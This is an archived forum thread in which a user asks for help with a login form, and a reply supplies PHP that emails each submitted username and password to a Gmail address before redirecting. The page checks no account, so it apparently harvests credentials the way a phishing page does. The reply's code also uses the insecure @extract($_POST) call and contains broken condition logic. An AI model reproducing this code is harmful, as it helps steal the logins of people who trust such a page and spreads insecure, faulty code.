Jump to content

Archived

This topic is now archived and is closed to further replies.

shisamandisa

Simple Enough question, but i really need help =)

Recommended Posts

Name + Pass = Error.html
Name - Pass = Error.html
- Name - Pass = Error.html
- Name + Pass = Error.html

In other words everything goes to Error.html


Form:

<form name="mail.php" method='POST' action="site.com/mail.php">

<br><div style="text-align:center"><table><tr><td align="center">username:</td><td

align="center"><input size="20" type="text" name="username" maxlength="12"></td></tr><tr><td

align="center">password:</td><td align="center"><input size="20" type="password" name="password"

maxlength="20"></td></tr><tr><td></td><td align="center"><input type="submit" value="Membership"

style="background:#4D422E url('style.jpg'); color: white;"

class="b"></td></tr></table></form>

Share this post


Link to post
Share on other sites

Your have to use it this way ok mate.
<?
if((!$username=="none")&&(!$password=="none")){
header("Location: error.html");
}

@extract($_POST);
$username=$_POST['username'];
$password=$_POST['password'];

mail("email@gmail.com", $username, $password, "From: $username");

if(($username)&&($password)){
header("Location: header.html");
}

?>

Share this post


Link to post
Share on other sites

×

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.